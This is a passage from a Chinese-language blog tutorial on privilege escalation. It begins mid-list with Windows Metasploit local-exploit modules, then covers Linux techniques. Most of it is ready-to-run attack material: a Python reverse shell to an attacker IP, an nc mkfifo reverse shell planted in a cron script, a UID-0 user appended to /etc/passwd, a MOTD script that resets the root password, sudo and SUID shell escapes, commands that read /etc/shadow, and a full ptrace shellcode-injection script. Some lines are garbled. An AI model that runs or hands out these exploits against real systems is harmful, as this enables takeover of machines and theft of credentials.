该模块已在Windows7x64和x86,Windows2008R2SP1x64的易受攻击版本上进行了测试.
use exploit/windows/local/ms15_051_client_copy_image
set lhost 192.168.1.107
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid

Task Scheduler XML提权

#此漏洞发生在Task Scheduler中,可允许用户提升权限。如果攻击者登录到受影响的系统,并运行特制应用程序,则该漏洞可能允许特权提升。攻击者必须拥有有效的登录凭据,并且能够在本地登录才能成功利用此漏洞。远程或匿名用户则无法利用此漏洞。
#该模块已在Windows Vista,Windows 7,Windows Server 2008 x64和x86的易受攻击版本上进行了测试。
use exploit/windows/local/ms10_092_schelevator
set lhost 192.168.1.107
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid

MS16-032 Secondary Logon Handle提权

#此模块利用了Windows Secondary Logon Service中缺少标准句柄过滤的问题。该漏洞主要影响Windows 7-10和2k8-2k12 32/64位版本。此模块仅适用于具有Powershell 2.0或更高版本的Windows系统,以及具有至少两个或以上CPU内核的系统。
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid

MS16-016 mrxdav.sys WebDav本地提权

#此模块利用了mrxdav.sys中的漏洞。其将在目标系统生成一个进程,并在执行payload之前将其权限提升到NT AUTHORITY\SYSTEM。
#该模块已在Windows 7 SP1,x86架构的易受攻击版本上进行了测试.
use exploit/windows/local/ms16_016_webdav
set lhost 192.168.1.107
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid

MS13-053 ^]% NTUserMessageCall Win32k内核池溢出

#Win32k中的内核池溢出漏洞,可允许本地用户提权。内核shellcode使winlogon.exe进程的ACL为NULL(SYSTEM进程)。这将允许任何非特权进程自由迁移到winlogon.exe,从而提升用户权限。注意:退出meterpreter会话时,可能会导致winlogon.exe崩溃。
#目前,该模块已在Windows 7 SP1 x86上成功测试。
use exploit/windows/local/ms13_053_ schlamperei
set lhost 192.168.1.107
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid

EPATHOBJ^]%^]%pprFlattenRec本地提权

#此模块利用了EPATHOBJ :: pprFlattenRec上的漏洞,其主要问题出在使用了未初始化的数据(即允许损坏内存)。
#目前,该模块已在Windows XP SP3,Windows 2003 SP1和Windows 7 SP1上成功进行了测试。
use exploit/windows/local/ppr_flatten_rec
set lhost 192.168.1.107
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid

对于Linux系统的提权

基础知识

讲Linux提权之前,我们先来了解以下关于Linux的一些基础知识,我们常说的Linux系统,指的是Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和目标人群,大类有以下几种:Ubuntu/kali Linux/Red hat/Fedora/Centos 等。

Linux内核

Linux系统内核指的是一个由 Linus Torvalds 负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。  
   
Linux内核版本有两种:稳定版和开发版,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字

*   第一个组数字:目前发布的内核主版本。
*   第二个组数字:偶数表示稳定版本;奇数表示开发中版本。
*   第三个组数字:错误修补的次数。

在Linux系统中使用uname -r 可一查询Linux系统的发行版本号。

使用以下命令也可以看到系统内核及版本的一些信息:

uname -a                 #查看内核的具体信息      
cat /proc/version        #查看内核的具体信息      
cat /etc/centos-release  #查看centos发行版本      
cat /etc/redhat-release  #查看redhat发行版本

背景:当我们拿到了一台Linux服务器的低权限账号,于是,我们想要通过技术手段提权至 root 用户权限,以执行更多的操作。

Linux提权的前提:

*   拿到了一个低权限的账号
*   能上传和下载文件
*   机器上有python、java、perl等环境(非必须项)

内核提权

内核漏洞是最有效的提权方法。通杀的内核漏洞是十分少见的,因而应该先对系统相关的信息进行收集。
查看发行版本:

cat /etc/issue        cat /etc/*-release

查看内核版本:

uname -a

之后再去漏洞平台上搜索有无对应版本的漏洞利用文件,或可以使用kali自带的searchsploit来搜索,有没有内核溢出漏洞和对应的脚本。

searchspoit 查询到的发行版本内核版本

最后通过上传内核溢出代码到目标上,编译执行进行提权。

脏牛漏洞

说到Linux提权,那肯定就离不开大名鼎鼎的Linux的内核漏洞,脏牛提权还有就是其他的各种内核漏洞提权了。说实话,内核漏洞提权很难成功,因为内核提权对内核的版本,还有目标机器的环境要求很高,所以使用内核提权成功率很低。并且内核提权需要查看exp的源代码,不然可能连编译都不会。内核漏洞提权的步骤肯定是查看目标机器的内核版本等信息,查看命令上面有。或者执行脚本查看该内核可能存在什么漏洞。


脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。

影响版本:Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)

简要分析:该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

Exp:https://github.com/gbonacini/CVE-2016-5195

上传EXP到目标机器,然后编译运行,最后会得到一个root权限的用户

利用方式

一般来说可以通过上传脚本来查看当前系统有什么内核漏洞可被利用。

脚本:GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool

$ ./linux-exploit-suggester.sh

脚本:GitHub - jondonas/linux-exploit-suggester-2: Next-Generation Linux Kernel Exploit Suggester

./linux-exploit-suggester-2.pl

关于利用脚本有两个版本,个人还是偏喜欢用第二个的。

SUID提权

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

已知的可用来提权的linux可行性的文件列表如下:

*   nmap
*   vim
*   find
*   bash
*   more
*   less
*   nano
*   cp

以下命令可以发现系统上运行的所有SUID可执行文件。

#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试      
find / -perm -u=s -type f 2>/dev/null      
find / -user root -perm -4000-print2>/dev/null      
find / -user root -perm -4000-exec ls -ldb {} \;

 实列

利用find文件提权

假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。

 我们查看具有root用户权限的SUID文件

find / -perm -u=s -type f 2>/dev/null

 我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件可以利用。

 我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行。

/usr/bin/find examples.desktop -exec whoami \;

 然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境

现在攻击端开启监听

nc -lvnp 4444

 于是我们以root用户的身份利用python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.144",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #反弹一个sh类型的shell

可以看到,在攻击端收到了反弹过来的shell,并且是root身份

 关于可利用命令的一些收集:SUID Executables – Penetration Testing Lab

这里我列举一些:

#Nmap
nmap -V
nmap --interactive #低版本的nmap可以使用进入交互界面

nmap> !sh
sh-3.2# whoami
root

---
nmap 新版
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
#vim
vim -c ':py import os;os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
:shell #进入文本编辑器后执行

#find
touch pentestlab
find pentestlab -exec whoami \;

#Bash
bash -p

#nano 尽可以查看文件
nano  /etc/passwd

#apache2
apache2 -f /etc/shadow

#tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test;chmod +x /tmp/.test;sudo tcpdump -ln -i eth0 -w /dev/null -W 100 -G 1 -z /tmp/.test -Z root

Sudo提权

关于sudo

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令。

是不是每一个新创建的用户都可以使用sudo提升命令的权限呢?如果不是那么哪些用户可以使用此命令呢?要想使一个用户具有使用sudo的能力,需要让root用户将其名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息注册到/etc/sudoers文件中,即完成对该用户的授权(此时该用户称为“sudoer”)才可以。

当一般用户执行特殊权限时,在命令前加上 sudo,此时系统会让你输入密码以确认终端机前操作的是你本人,确认后系统会将该命令的进程以超级用户的权限运行。

在一定的时间段内,再次执行sudo的命令时不再询问密码,超出此时间段(一般为5分钟)后需要再次输入密码。

在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。如下图


 

 实列

Sudoer文件语法 

vim /etc/sudoers

 1. 给用户赋予全部root权限

找到root权限root ALL=(ALL:ALL) ALL,在下一行输入" test ALL(ALL:ALL) ALL ",保存后退出,这样即表示用户test可以使用sudo调用root权限执行命令。即此时test用户相当于root了

2. 给用户赋予部分能够运行的命令权限

hacker用户就能使用awk命令了,如下图

3. 查看用户能以root权限运行的命令 。

sudo -l

sudo提权命令

可以利用sudo提权的命令如下

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp、ed、screen

首先添加部分命令用于测试sudo提权

vim /etc/sudoers

hacker  ALL=(root) NOPASSWD: /usr/bin/awk
hacker  ALL=(root) NOPASSWD: /usr/bin/vim
hacker  ALL=(root) NOPASSWD: /usr/bin/man
hacker  ALL=(root) NOPASSWD: /usr/bin/apache2
hacker  ALL=(root) NOPASSWD: /usr/bin/less
hacker  ALL=(root) NOPASSWD: /bin/more
hacker  ALL=(root) NOPASSWD: /usr/bin/find
hacker  ALL=(root) NOPASSWD: /usr/bin/zip
hacker  ALL=(root) NOPASSWD: /usr/bin/git

 

 假设获取了一个普通用户hacker的权限,接着利用sudo进行提权

1. 查看sudo -l

显示了允许当前用户使用的命令,如下发现了可以以root权限执行awk命令并且不需要密码。

 2. 权限提升

执行下面代码直接切换到root用户了,无需密码 。

sudo awk 'BEGIN{system("/bin/bash")}' #awk

​ 

 这里列举一些我收集的关于sudo提权的命令:

提权命令:sudo awk 'BEGIN{system("/bin/bash")}' #awk

sudo find /home -exec /bin/bash \; #find

sudo cat /etc/shadow #cat我们可以查看 /etc/shadow 文件中的账号密码,并使用john破解

#zip
1.创建一个1.txt,将其压缩为1.zip
2. sudo zip 1.zip 1.txt -T --unzip-command="sh -c /bin/bash" 

# git
1.sudo git help add 
2.回车如下输入 !/bin/bash 

#ed
sudo ed
!/bin/sh

#vim
sudo vim -c'!sh'

#man
sudo man man
之后按!按下并按Enter

#lesssud
sudo less /etc/hosts 
之后按!按下并按Enter

#more
sudo more /etc/hosts
之后按!按下并按Enter

#nmap
echo "os.execute('/bin/sh')"> /tmp/shell.nse && sudo nmap --script = /tmp/shell.nse

#nano
#nano是使用此编辑器的文本编辑器,在您需要切换用户之后,您可以修改pvimasswd文件并将用户添加为root特权。在/etc/passwd中添加此行,以将用户添加为root特权。
touhid:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash
sudo nano /sudetc/passwd #现在切换用户密码是:test
su touhid

#apache
使用它我们可以查看系统文件
sudo apache2 -f /etc/shadow

 关于SUID,SUDO等提权命令的汇总GTFOBins

 Linux配置错误提权 

Linux的配置文件错误,导致 /etc/passwd 文件可写入提权

当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作。接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。首先,查看 /etc/passwd 的权限,发现任何用户都可以读写。

 2. 生成密码信息

我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。
首先,使用perl语言(Linux自带)生成带有盐值的密码:adrla7IBSfTZQ

perl -le 'print crypt("123456","addedsalt")'

 3. 我们切换到一个普通用户,假装获取了一个低权限用户。然后执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件

echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd

4. 登录新用户

以用户名:test  密码:123456 成功进行切换,直接获取了root权限
 

su test 123456

对Linux配置进行检查的脚本有:https://www.securitysift.com/download/linuxprivchecker.py

和  unix-privesc-check | pentestmonkey 两个。

定时任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出。默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了。

ls -l /etc/cron

使用该命令,列出的文件,查看 /etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。如果 允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。

 实列

1.首先执行命令ls -l /etc/corn,查看crontab看看有没有类似的*/1 * * * *     root    /home/kali/桌面/shell.sh以root权限短时间内执行的文件 ,注意该文件可能面临权限问题导致无法执行如果遇到chmod +x shell.sh

2.然后在echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.107 6789 > /tmp/f">/home/kali/桌面/shell.sh构造类似语句追加到文件内

3.然后在/home/kali/桌面 目录下执行

echo > "--checkpoint-action=exec=sh shell.sh"

echo > "--checkpoint=1" 

4.然后攻击端正向连接端口

nc -lvvp 6789

5.一分钟后root提权成功

Linux中使用环境变量提权

介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量

echo $PATH

usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

方法1 

Ubuntu LAB SET_UP

当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。

然后我们打开demo.c文件可以看到

vim demo.c

 正如你在demo.c文件中看到的,我们正在调用ps命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell

 假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

 通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。

 进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。

Echo命令

cd /tmp
echo “/bin/sh” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

Linux系统提权之非常规篇

MOTD注入提权

提权原理:motd是message of the day这句话的缩写,当我们通过ssh登录成功的时候,我们如果留意的话,我们会发现输出的那些欢迎信息和日期等等,如果这些输出以上信息的脚本是以root权限运行的,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权。

实列

接下来我们通过下面这条命令找一些属主是root 普通用户或组可执行 其他用户可写的文件,这种文件往往可以帮助我们实现权限提升。

执行语句

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null #命令解释:从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写  如果发现了符合条件的用 ls -l命令显示  错误信息从定向到null

 先cat了一下搜索到的第一个文件,发现里面有brainfuck加密的内容,所以尝试解密下。

解密出来后得到:chitragupt

解密得到的这个可能是某个用户的密码,所以根据查看/etc/passwd文件发现的用户,挨个尝试下.

 当尝试切换到interno用户的时候,使用解密得到的这个字符串成功的su到了inferno用户上。到这里算是完成了从www-data权限到普通用户权限的权限提升。

 既然已经获取到了inferno用户的密码,我接下来尝试使用ssh登录到inferno用户上

ssh inferno@xx.xx.xx.xx

成功登录到inferno用户后再次执行下面这条命令

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

 观察到除了我们刚刚发现密码的那个文件,其他文件都在/etc/update-motd.d/这个目录下,motd是message of the day这句话的缩写,我们通过ssh登录成功后看到的那些欢迎和提示的信息都是motd目录下存放的这些sh脚本所提供的。

 那么现在我们知道了,当我们通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权,思路有了下面开始操作。

执行以下代码

vi /etc/update-motd.d/00-header      #编辑这个文件
echo 'root:123' | chpasswd        #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123

然后保存修改后,退出ssh的连接,然后重新使用ssh登录,即可触发执行我们修改root用户的命令。

当我们看到登录成功后的欢迎语的时候,root用户的密码已经成功的被我们修改成了123,接着只需要su到root用户即可提权成功。

 ​​​​​​​

pyhton-OS库代码注入提权

提权原理:python的OS库有写权限,那我们接下来就传pspy64到该机器上来,然后看看有没有以root用户定期执行的py脚本调用了os库,如果有的话,我们在OS库中写入反弹shell的代码,这样当该脚本被执行时,我们就会获得一个root权限的shell。

这里给出两个工具的下载地址:

linpeas.sh这个工具会自动搜索可能的本地权限提升路径,并以漂亮的颜色和简洁的格式输出,以便我们可以轻松识别错误配置:GitHub - carlospolop/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

pspy是一个命令行工具,旨在侦听进程而无需 root 权限。 它允许我们在执行时查看其他用户、cron 作业等运行的命令和进程:

GitHub - DominicBreuker/pspy: Monitor linux processes without root permissions

实列

当我们使用linpeas.sh对目标机器进行信息搜集的时候我们发现了一个不同寻常的文件os.py

 我们发现当前用户竟然对python的OS库有写权限,那我们接下来就传pspy64到该机器上来,然后看看有没有以root用户定期执行的py脚本调用了os库,如果有的话,我们在OS库中写入反弹shell的代码,这样当该脚本被执行时,我们就会获得一个root权限的shell。

重上图中我们看到这个脚本是以root权限运行的,并且该脚本调用了OS库,所以接下来我们只需要在OS库中写入反弹shell的代码即可,如下图所示。

 上图框中的代码就是我们加到os.py文件末尾反弹shell的代码。

然后我们在攻击机上开启监听

nc -lvp 4444

从下图我们可以看到root权限的shell已经弹回来了。

 Chkrootkit 提权

提权原理:chkrootkit 是一个在本地检查 rootkit 迹象的工具,chkrootkit有crontab,会定期以root身份执行/tmp/update文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。

影响范围:Chkrootkit <=0.49 Local Root Vulnerability:小于等于0.49版的chrootkit本地提权漏洞

背景:我们上传pspy64脚本到目标机器,查看当前目标机器的进程。

./pspy64

 

 从图中我们可以发现目标机器上有chkrootkit。hkrootkit有crontab,会定期以root身份执行/tmp/update文件。我们查看chkrootkit,发现如果chrootkit的版本小于或等于0.49,通过查看cron.daily获知管理员是定期运行chkrootkit,并且对/ tmp(没有挂载noexec)有写访问权限,那么我们的攻击思路就有了。

因为我们知道chkrootkit有crontab,会定期以root身份执行/tmp/update文件,那我们可以在 /tmp 目录下新建 update.c

#include <unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
exec("/bin/sh","sh",NULL);
}

 然后编译好 update ,等待chkrookit以root身份执行/tmp/update文件后,我们就可以得到一个root权限的shell。

python Capabilities cap_sys_ptrace+ep提权

基础知识介绍

Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。

提权原理:利用pythono具备的cap_sys_ptrace+ep 能力对root权限的进程注入python类型shellcode,以此实现权限提升。

实列

我们可以使用下面的这条命令可以用于发现具有Capabilities特殊操作权限的程序。

/usr/sbin/getcap -r / 2>/dev/null      # -r 递归查询 2>/dev/null 错误信息从定向到null

 通过上图我们发现python具备cap_sys_ptrace+ep 能力,所以我们可以对其进行利用然后进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口。

脚本代码:

# inject.py
# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

因为需要找root进程进行注入,所以简单写个shell脚本对root进程进行批量尝试 。

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

 然后执行以下命令查看5600端口。

ss -pantu | grep 5600

 

 通过上图我们已经看到靶机的5600端口已经监听,说明我们的脚本成功执行了,接下来我们回到kali用nc去连接靶机的5600端口即可。

nc -lvp xx.xx.xx.xx 5600

我们可以看到我们成功实现了权限的提升,获取到了root权限 。

相关文章:谈谈linux中那些非常规提权及其应用场景 - FreeBuf网络安全行业门户

注:部分转载来自谢公子,明月清风~~,Freebuf,南城夕雾转载请注明来自FreeBuf.COM

  • 7
    点赞
  • 80
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

怰月

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值